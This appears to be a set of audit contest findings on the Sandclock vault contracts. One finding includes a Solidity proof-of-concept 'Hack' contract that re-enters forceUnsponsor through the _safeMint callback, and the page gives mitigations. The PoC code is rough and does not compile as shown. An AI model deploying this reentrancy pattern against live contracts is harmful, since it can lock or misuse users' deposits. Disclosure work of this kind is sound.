Sandclock contest - bugwriter001's results

Handle

bugwriter001

Vulnerability details

Impact

Vault/Depositor mint can be re-entered. compared with the Claimer.mint, which use the _mint func, but the Depositor.mint, which use the _safeMint. in the _safeMint, it has an callback. which can be used for some hack.

Proof of Concept

pragma solidity 0.8.10;


interface IVault {
    function deposit(DepositParams calldata _params) external;
    function forceWithdraw(address _to, uint256[] memory _ids) external;
    function sponsor(uint256 _amount, uint256 _lockedUntil) external;
    function forceUnsponsor(address _to, uint256[] memory _ids) external;
}

interface IDepositors {
    function nextId() external returns (uint256);
}
contract Hack {
    IVault public vault = 0x0000000;
    IDepositors public depositors = 0x00001;
    uint256 public  nextId;
    constructor() {

    }
    function start() {
        //get next Id
        nextId = depositors.nextId();
        //sponsor 1000 
        //while unsponsor it inside sponsor
        uint256 amount = 1000 ether;
        uint256 lockedUntil = 0;
        vault.sponsor(amount,lockedUntil);
        
    }
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        bytes4 res = this.onERC721Received.selector;
        //unsponsor it
        vault.forceUnsponsor(address(this),nextId);
        return res;
    }
}

explain: during the vault.sponsor, it calls the depositors.mint, while inside this func, it use the _safeMint. and _safeMint line is above the line deposits[localTokenId] = Deposit(_amount, _claimerId, _lockedUntil);. so, when the _safeMint call the onERC721Received func, the deposits[localTokenId] = 0, so in the forceUnsponsor func, it will pass the requirement require(lockedUntil <= block.timestamp, "Vault: amount is locked");. and moves on but it donst take harm to system, because the amount is still 0. but it can make this tokenId can never be burned again. so i classiy it to low risk.

Tools Used

Recommended Mitigation Steps

add nonReentrant modifier in the vault. Or, use the _mint func instead of the _safeMint func in the depositors.

Handle

bugwriter001

Vulnerability details

Impact

in the function mint, it use the _mint method, which will not check the receiver whether it is compact with the ERC721 standard, namely if the address to is an contract, it should have the onERC721Received function, and returns the specific bytes4. to make sure it is ERC721 compatible.

function mint(
        address _to,
        uint256 _principal,
        uint256 _shares
    ) external onlyVault returns (uint256) {
        uint256 localTokenId = addressToTokenID[_to];

        if (localTokenId == 0) {
            _tokenIds.increment();
            localTokenId = _tokenIds.current();

            _mint(_to, localTokenId);
//------------
//better to be _safeMint(_to, localTokenId); 
        }

        claimers[localTokenId].totalShares += _shares;
        claimers[localTokenId].totalPrincipal += _principal;

        totalShares += _shares;

        return localTokenId;
    }

Proof of Concept

None

Tools Used

Recommended Mitigation Steps